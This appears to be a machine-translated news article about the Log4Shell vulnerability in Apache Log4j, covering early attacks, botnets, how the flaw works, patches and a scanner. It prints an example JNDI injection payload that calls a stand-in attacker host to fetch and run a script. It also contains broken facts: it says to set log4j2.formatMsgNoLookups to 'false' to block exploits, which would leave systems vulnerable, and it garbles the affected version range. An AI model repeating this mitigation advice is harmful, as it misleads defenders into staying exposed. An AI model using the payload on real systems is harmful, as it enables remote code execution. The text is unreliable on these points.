Although the proof-of-concept code was released on Thursday, December 9, 2021, it turns out that the attacks exploiting the Log4Shell vulnerability started two weeks ago.
Cisco Talos has confirmed attacker activity related to CVE-2021-44228 since December 2, 2021. It is recommended that scanning and exploit activity be extended to this date.
Cloudflare and Cisco Talos said they observed the first attacks on Dec. 1 and Dec. 2.
Although the massive exploit began the week of December 9, 2021, it means that security teams will need to expand the scope of their incident response investigations and check for signs of potential exploits against the network starting earlier this month, just in case.
As of now, attacks exploiting the Log4Shell vulnerability are still in their infancy.
The majority of attacks originate from professional crypto-mining and DDoS botnets such as Mirai, Muhstik, and Kinsing, which usually exploit critical bugs in companies before anyone else.
However, Microsoft announced on their blog that they have seen the first instance of Log4Shell being used to deploy a web shell along with the Cobalt Strike beacon (backdoor).
The Microsoft Threat Intelligence Center (MSTIC), the Microsoft 365 Defender Threat Intelligence Team, RiskIQ, the Microsoft’s Unified Threat Intelligence Team, which includes the Microsoft 365 Defender Threat Intelligence Team, RiskIQ, and the Microsoft Detection and Response Team (DART), has discovered a remote code execution (RCE) vulnerability in Apache Log4j 2 called “Log4Shell”, CVE-2021-44228. 44228, and is tracking threats that exploit it.
CISA, the NSA, and several cybersecurity firms have repeatedly warned over the last year that the combination of webshells and Cobalt Strike beacons is usually the first tool that nation-state and ransomware groups deploy during an attack.
We are currently experiencing a very rapid increase in the number of scans for Internet-connected systems that are vulnerable to Log4Shell.
Security firm Kryptos Logic announced on Sunday that it had detected more than 10,000 different IP addresses exploring the Internet, 100 times the number of systems that were exploring Log4Shell on Friday.
Not all of this traffic is bad, as white hat security researchers and security companies are looking for vulnerable systems, but the big picture is that the threat actors have smelled blood, and IT administrators need to make sure their Java-based systems to check for Log4Shell vulnerabilities.
What is Log4Shell?
Log4Shell is a vulnerability in Log4j, a Java library for adding logging capabilities to Java web and desktop applications.
https://logging.apache.org/log4j/2.x/
Log4j is maintained by the Apache Software Foundation and is a library that is included in most of the Apache Software Foundation’s software.
In other words, it means it’s almost everywhere.
This vulnerability occurs in applications where the user’s input is logged. For example, apps with input fields, or apps that allow the user to control the text that is entered into the log itself. In other words, an attacker could create something like the following
${jndi:ldap://attacker.com/script}
If the Log4j library writes and parses this entry in the log, the JNDI prefix will connect to the attacker’s domain and execute the script stored there.
Currently, attackers typically spread simple scripts that return queries to their domain throughout the Internet’s IP address space. This allows us to detect systems running the Log4j library.
Using that system, we can perform real attacks with real malware such as bash scripts, cryptominers, Cobalt Strike beacons, and web shells.
The IT staffs of almost all major companies and software providers are now checking their enterprise software to see if the use of the Log4j library has caused any vulnerabilities. 2.10.0 to 2.14.x is the latest version of Log4J. Those who are using it may be vulnerable to attacks.
Patches provided and their mitigations
The Apache Software Foundation released a security update for Log4j 2.15.0 on Friday that fixes the vulnerability.
You can also set the log4j2.formatMsgNoLookups option to false in the Log4j config to prevent exploits when companies are unable to update.
Companies such as Cloudflare have stated that their products will not be affected, while Red Hat and N-able (SolarWinds) have stated that some of their products will be affected
However, a comprehensive list of what is vulnerable and what is not seems not to be widely available yet, even from agencies like CISA.
The good news is that the security company Huntress Labs has created a free Log4Shell scanner that companies can use to evaluate their systems.
How to use the free Log4Shell scanner
- Access to https://log4shell.huntress.com/
- The JNDI syntax generated when the page is accessed (code block ${jndi:ldap://….) and copy and paste it into an input box in your application, a form field on your front-end site, a login such as username entry, or a customizable HTTP header such as User-Agent or X-Forwarded-For
- results page to see if a connection was received, check the detected IP address and timestamp to see if it is related to when you tested some service
- If you see an entry, a connection was made and you can determine that the application you tested is vulnerable.
Comments